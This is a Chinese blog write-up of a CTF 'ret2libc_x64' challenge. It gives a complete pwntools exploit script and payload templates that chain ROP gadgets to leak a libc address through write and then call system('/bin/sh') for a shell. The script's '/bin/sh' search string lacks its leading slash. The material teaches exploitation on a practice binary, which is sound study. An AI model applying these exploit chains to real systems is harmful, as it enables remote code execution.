ret2libc_x64一道经典例题全过程解释

本文通过一道经典ret2libc_x64题目,详细介绍了如何利用栈溢出漏洞,通过两次payload构造,实现对write函数的调用以泄露libc基地址,最终调用system函数获取shell的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

《pwn》ret2libc_x64一道经典例题全过程解释。

题目链接:

https://pan.baidu.com/s/11Ljmo-_Vm43jUqZotokLIw?pwd=3yf9
提取码:3yf9

脚本展示

from pwn import*
p=process('./ret2libc_x64')
context.log_level='debug'
gdb.attach(p)
#使用ldd+ret2libc_x64指令来寻找文件所调用的库并且找到文件调用库地址 libc=ELF("libc_adress")
elf=ELF("./ret2libc_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#使用“ ROPgadget --binary ret2libc_x64 --only "pop|ret" ”来寻找下列地址,观察所需。
#64位文件参数传递的方式为:rdi,rsi,rdx,rcx,r8,r9.(一般write函数只需前三个寄存器,即控制前三个寄存器参数,甚至只控制前两个即可)
#write(1,buf,5)解释:rdi传1,rsi传buf,rdx传5.(5为能显示的字节数)。我们只需要将泄露函数即write函数的got表传到buf的位置,rdi一般都传参为1,意思标准输出屏幕。
pop_rsi_r15_ret=0x4006b1 
pop_rdi_ret=0x4006b3
padding=0x88#padding
#elf.got['write']_addr=6294104
#此为10进制(利用print(elf.got['write'])得到,化为16进制后与ida查看无异)
#可以通过ida观看,也可以直接借助elf工具,强烈推荐后者
#elf.plt['write']_addr=4195500
#print(elf.plt['write'])得到。化为16进制后与ida查看无异。
over_flow_adress=0x4005E6此为溢出函数地址
payload='a'*(0x88)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(elf.got['write'])+p64(0)+p64(elf.plt['write'])+p64(over_flow_adress)
#栈溢出-——rdi地址———传参为1——rsi地址——将write函数got表传参达到目的——将r15传参为随意值0,ret返回到write函数plt表(相当于调用此函数),最后将返回到溢出函数。
#ps:plt表后面直接接返回函数地址。
p.sendlineafter("Input:\n",payload)
write_libc_addr=u64(p.recv(6).ljust(8,"\x00"))
#64位程序,接收到的地址只有6个字节,需要补充到8个字节才能u64解包。
#泄露函数在libc中的地址=libc基地址+偏移
print(hex(write_libc_addr))
#打印出地址,验证泄露是否成功
libc_base_addr=write_libc_addr-libc.symbols['write']
#libc的基地址=泄露函数在libc中的地址-泄露函数在libc中的偏移
#使用libc.symbols['泄露函数名字']查找偏移
system_addr=libc_base_addr+libc.symbols['system']


binsh=libc_base_addr+libc.search('bin/sh\x00').next()

sleep(1)#程序睡眠一秒,防止两个payload一起发送,达不到想要的效果。
payload='a'*(0x88)+p64(pop_rdi_ret)+p64(binsh)+p64(system_addr)
#先溢出——rdi传参为binsh——ret到system函数地址——system函数自动调用rdi里的参数
p.sendafter('Input:\n',payload)
p.interactive()

此大神文章讲述更详细https://blog.youkuaiyun.com/prettyX/article/details/107507184

一位大神老师写的解题思路

当我们程序中缺少一个关键参数(字符串)时,我们可以在栈溢出的基础上调用输入函数,手动向程序中输入这个字符串(比如说’/bin/sh’)

一个题目中没有system函数以及没有’/bin/sh’字符串的情况下,往往就要考虑到ret2libc

第一步:泄漏,跳回到溢出函数

第二步:再次触发溢出,跳转到libc中执行system(‘/bin/sh’)

调用输出函数泄漏got表:

32位下:payload = padding + p32(elf.plt[‘write’]) + p32(overflorw_addr) + p32(1) + p32(elf.got[‘write’]) + p32(4)

(注意32位程序传参在栈上)

64位下:payload = padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(elf.got[‘write’]) + p64(0) + p64(elf.plt[‘write’]) + p64(overflow_addr)

以上两个payload实现的都是调用——write(1,elf.got[‘write’],?),并且跳回到了溢出函数的地址

跳回到溢出函数是因为要再次触发栈溢出,调用system(‘/bin/sh’)

接收泄漏的数据:

64位下:write_libc_addr = u64(p.recv(6).ljust(8,‘’\x00’))

32位下:write_libc_addr = u32(p.recv(4))

计算libc基地址:

libc_base_addr = write_libc_addr - libc.symbols[‘write’]

system_addr = libc_base_addr + libc.symbols[‘system’]

binsh = libc_base_addr + libc.search(‘/bin/sh\x00’).next()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值